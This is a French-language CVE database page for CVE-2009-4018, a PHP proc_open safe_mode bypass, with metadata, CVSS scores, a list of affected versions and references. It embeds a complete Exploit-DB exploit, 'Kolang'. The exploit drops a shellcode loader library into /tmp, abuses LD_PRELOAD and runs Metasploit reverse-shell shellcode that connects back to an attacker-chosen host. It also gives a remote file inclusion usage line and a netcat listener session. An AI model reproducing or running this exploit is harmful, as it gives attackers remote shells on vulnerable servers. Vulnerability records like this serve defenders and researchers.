CVE-2009-4018 : Détail

CVE-2009-4018

A01-Broken Access Control
17.76%V4
Network
2009-11-27
18h00 +00:00
2017-09-18
10h57 +00:00
CVE.org
NVD
Notifications pour un CVE
Restez informé de toutes modifications pour un CVE spécifique.
Gestion des notifications

Descriptions du CVE

The proc_open function in ext/standard/proc_open.c in PHP before 5.2.11 and 5.3.x before 5.3.1 does not enforce the (1) safe_mode_allowed_env_vars and (2) safe_mode_protected_env_vars directives, which allows context-dependent attackers to execute programs with an arbitrary environment via the env parameter, as demonstrated by a crafted value of the LD_LIBRARY_PATH environment variable.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-264 Category : Permissions, Privileges, and Access Controls
Weaknesses in this category are related to the management of permissions, privileges, and other security features that are used to perform access control.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 7.5 AV:N/AC:L/Au:N/C:P/I:P/A:P nvd@nist.gov

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
EPSS First.org

Informations sur l'Exploit

Exploit Database EDB-ID : 11636

Date de publication : 2010-03-04 23h00 +00:00
Auteur : Hamid Ebadi
EDB Vérifié : No

<?php /* Kolang (PHP Safe mode bypass) (IHSteam priv8 for lazy penetration testers) (php 4.3.10 - 5.3.0) http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2009-4018 (12/19/2009) http://www.milw0rm.com/exploits/7393 (12/09/2008) 1- Kolang can be used directly in file inclusion RFI&LFI vulnerabilities (no upload required) 2- Kolang can execute arbitrary shellcode (just for fans of metasploit ) ~~~~ How to use:) for linux: kolang.php?os=linux&host=LHOST&port=LPORT or kolang.php?os=linux&shell=BASE64_ENCODED_SHELLCODE for freebsd: kolang.php?os=freebsd&shell=BASE64_ENCODED_SHELLCODE file inclusion : http://host/vul.php?path=http://attacker/kolang.txt?&os=linux&host=LHOST&port=LPORT http://localhost/kolang.php?host=localhost&port=2121 hamid@bugtraq ~ $ nc -vv -l -p 2121 listening on [any] 2121 ... connect to [127.0.0.1] from bugtraq [127.0.0.1] 40526 id uid=65534(nobody) gid=65533(nogroup) groups=65533(nogroup) Hamid Ebadi http://www.bugtraq.ir contact : ebadi~bugtraq~ir Kolang means pickaxe (the idea came from amnafzar naming convention) (Separ, Sarand, Alak, Skort) */ $port= intval($_REQUEST['port']); $host= $_REQUEST['host']; $os= $_REQUEST['os']; /* //compile : cc -o shellcode.so -fPIC -shared shellcode.c // //<?php //$data=file_get_contents('shellcode.so'); //file_put_contents('shellcode_base64.txt',$data); //?> // "shellcode loader" : load and execute arbitrary shellcode from a file // Hamid Ebadi #define O_RDONLY 00 ; fcntl.h #define SHELLCODE_MAX_SIZE 1024 // change kolang.php and shellcode loader if sys_get_temp_dir()!='/tmp' #define SHELLCODE_FILENAME "/tmp/.X11-IHSTEAM" void getuid() { unsetenv("LD_PRELOAD"); //not really necessary, we can remove it int fd; char shellcode[SHELLCODE_MAX_SIZE]; char filename[]=SHELLCODE_FILENAME ; // we can also pass the shellcode in program's arguments if ((fd = open(SHELLCODE_FILENAME,O_RDONLY)) < 0) { exit(1); } if (read(fd,shellcode,SHELLCODE_MAX_SIZE) < 0){ exit(1); } (*(void(*)()) shellcode)(); } */ if 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@fopen($filename, 'w'); if (!$f){ return false; } else{ $bytes = fwrite($f, $data); fclose($f); return $bytes; } } } // Note: change kolang.php and shellcode loader if sys_get_temp_dir()!='/tmp' file_put_contents('/tmp/shellcode.so' , base64_decode($shellcode_loader)); $ip = gethostbyname($host); $port1 = sprintf('%c', ($port>> 8)&255 ); $port2 = sprintf('%c', ($port>> 0)&255 ); $part = explode('.', $ip); //$HEXIP = sprintf('%02x%02x%02x%02x', $part[0], $part[1], $part[2], $part[3]); $STRINGIP = sprintf('%c%c%c%c', $part[0], $part[1], $part[2], $part[3]); /* * linux/x86/shell_reverse_tcp - 71 bytes * http://www.metasploit.com * Encoder: generic/none * LHOST=$STRINGIP, LPORT=$port1.$port2, ReverseConnectRetries=5, * PrependSetresuid=false, PrependSetreuid=false, * PrependSetuid=false, PrependChrootBreak=false, * AppendExit=false */ $Xshellcode = "\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80". "\x5b\x5e\x68".$STRINGIP."\x66\x68".$port1.$port2."\x66\x53\x6a\x10". "\x51\x50\x89\xe1\x43\x6a\x66\x58\xcd\x80\x59\x87\xd9\xb0\x3f". "\xcd\x80\x49\x79\xf9\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69". "\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80\x00" ; if(isset($_REQUEST['shellcode'])){ // just for fans of metasploit $Xshellcode=base64_decode($_REQUEST['shellcode']); } file_put_contents("/tmp/.X11-IHSTEAM", $Xshellcode); $cwd = '/tmp/'; $env = array('LD_PRELOAD' => '/tmp/shellcode.so'); unset($var); $descriptorspec = array(0 => array("pipe", "r"), 1 => array("pipe", "w")); // BOOM proc_open('IHSteam', $descriptorspec, $var, $cwd, $env); mail("IHSteam","IHSteam","IHSteam","IHSteam"); ?>

Products Mentioned

Configuraton 0

Php>>Php >> Version To (including) 5.2.10

Php>>Php >> Version 1.0

Php>>Php >> Version 2.0

Php>>Php >> Version 2.0b10

Php>>Php >> Version 3.0

Php>>Php >> Version 3.0.1

Php>>Php >> Version 3.0.2

Php>>Php >> Version 3.0.3

Php>>Php >> Version 3.0.4

Php>>Php >> Version 3.0.5

Php>>Php >> Version 3.0.6

Php>>Php >> Version 3.0.7

Php>>Php >> Version 3.0.8

Php>>Php >> Version 3.0.9

Php>>Php >> Version 3.0.10

Php>>Php >> Version 3.0.11

Php>>Php >> Version 3.0.12

Php>>Php >> Version 3.0.13

Php>>Php >> Version 3.0.14

Php>>Php >> Version 3.0.15

Php>>Php >> Version 3.0.16

Php>>Php >> Version 3.0.17

Php>>Php >> Version 3.0.18

Php>>Php >> Version 4

    Php>>Php >> Version 4.0

    Php>>Php >> Version 4.0

    Php>>Php >> Version 4.0

    Php>>Php >> Version 4.0

    Php>>Php >> Version 4.0

    Php>>Php >> Version 4.0

    Php>>Php >> Version 4.0

    Php>>Php >> Version 4.0

    Php>>Php >> Version 4.0.0

    Php>>Php >> Version 4.0.1

    Php>>Php >> Version 4.0.1

    Php>>Php >> Version 4.0.1

    Php>>Php >> Version 4.0.2

    Php>>Php >> Version 4.0.3

    Php>>Php >> Version 4.0.3

    Php>>Php >> Version 4.0.4

    Php>>Php >> Version 4.0.4

      Php>>Php >> Version 4.0.5

      Php>>Php >> Version 4.0.6

      Php>>Php >> Version 4.0.7

      Php>>Php >> Version 4.0.7

      Php>>Php >> Version 4.0.7

      Php>>Php >> Version 4.0.7

      Php>>Php >> Version 4.0.7

        Php>>Php >> Version 4.1.0

        Php>>Php >> Version 4.1.1

        Php>>Php >> Version 4.1.2

        Php>>Php >> Version 4.2

          Php>>Php >> Version 4.2.0

          Php>>Php >> Version 4.2.1

          Php>>Php >> Version 4.2.2

          Php>>Php >> Version 4.2.3

          Php>>Php >> Version 4.3.0

          Php>>Php >> Version 4.3.1

          Php>>Php >> Version 4.3.2

          Php>>Php >> Version 4.3.3

          Php>>Php >> Version 4.3.4

          Php>>Php >> Version 4.3.5

          Php>>Php >> Version 4.3.6

          Php>>Php >> Version 4.3.7

          Php>>Php >> Version 4.3.8

          Php>>Php >> Version 4.3.9

          Php>>Php >> Version 4.3.10

          Php>>Php >> Version 4.3.11

          Php>>Php >> Version 4.4.0

          Php>>Php >> Version 4.4.1

          Php>>Php >> Version 4.4.2

          Php>>Php >> Version 4.4.3

          Php>>Php >> Version 4.4.4

          Php>>Php >> Version 4.4.5

          Php>>Php >> Version 4.4.6

          Php>>Php >> Version 4.4.7

          Php>>Php >> Version 4.4.8

          Php>>Php >> Version 4.4.9

          Php>>Php >> Version 5

            Php>>Php >> Version 5.0

              Php>>Php >> Version 5.0

                Php>>Php >> Version 5.0

                  Php>>Php >> Version 5.0.0

                  Php>>Php >> Version 5.0.0

                  Php>>Php >> Version 5.0.0

                  Php>>Php >> Version 5.0.0

                  Php>>Php >> Version 5.0.0

                  Php>>Php >> Version 5.0.0

                  Php>>Php >> Version 5.0.0

                  Php>>Php >> Version 5.0.0

                  Php>>Php >> Version 5.0.1

                  Php>>Php >> Version 5.0.2

                  Php>>Php >> Version 5.0.3

                  Php>>Php >> Version 5.0.4

                  Php>>Php >> Version 5.0.5

                  Php>>Php >> Version 5.1.0

                  Php>>Php >> Version 5.1.1

                  Php>>Php >> Version 5.1.2

                  Php>>Php >> Version 5.1.3

                  Php>>Php >> Version 5.1.4

                  Php>>Php >> Version 5.1.5

                  Php>>Php >> Version 5.1.6

                  Php>>Php >> Version 5.2.0

                  Php>>Php >> Version 5.2.2

                  Php>>Php >> Version 5.2.4

                  Php>>Php >> Version 5.2.6

                  Php>>Php >> Version 5.2.7

                  Php>>Php >> Version 5.2.8

                  Php>>Php >> Version 5.2.9

                  Php>>Php >> Version 5.3.0

                  Références

                  http://secunia.com/advisories/40262
                  Tags : third-party-advisory, x_refsource_SECUNIA
                  http://marc.info/?l=bugtraq&m=127680701405735&w=2
                  Tags : vendor-advisory, x_refsource_HP
                  http://marc.info/?l=oss-security&m=125897935330618&w=2
                  Tags : mailing-list, x_refsource_MLIST
                  http://secunia.com/advisories/41490
                  Tags : third-party-advisory, x_refsource_SECUNIA
                  http://www.openwall.com/lists/oss-security/2009/11/23/15
                  Tags : mailing-list, x_refsource_MLIST
                  http://www.php.net/ChangeLog-5.php
                  Tags : x_refsource_CONFIRM
                  http://www.securityfocus.com/bid/37138
                  Tags : vdb-entry, x_refsource_BID
                  http://bugs.php.net/bug.php?id=49026
                  Tags : x_refsource_CONFIRM
                  http://secunia.com/advisories/41480
                  Tags : third-party-advisory, x_refsource_SECUNIA
                  http://marc.info/?l=oss-security&m=125886770008678&w=2
                  Tags : mailing-list, x_refsource_MLIST
                  http://marc.info/?l=bugtraq&m=127680701405735&w=2
                  Tags : vendor-advisory, x_refsource_HP
                  http://www.mandriva.com/security/advisories?name=MDVSA-2009:303
                  Tags : vendor-advisory, x_refsource_MANDRIVA
                  Les informations affichées sur CVE Find proviennent de plusieurs sources de référence rigoureusement sélectionnées. Les données CVE sont fournies par MITRE Corporation et la National Vulnerability Database (NVD). Le catalogue des vulnérabilités activement exploitées (KEV) provient de la Cybersecurity and Infrastructure Security Agency (CISA), tandis que les scores EPSS sont issus de FIRST.org. Enfin, les données relatives aux faiblesses logicielles (CWE) et aux schémas d'attaque courants (CAPEC) sont maintenues par MITRE Corporation, et les informations sur les configurations logicielles et matérielles (CPE) proviennent du NVD.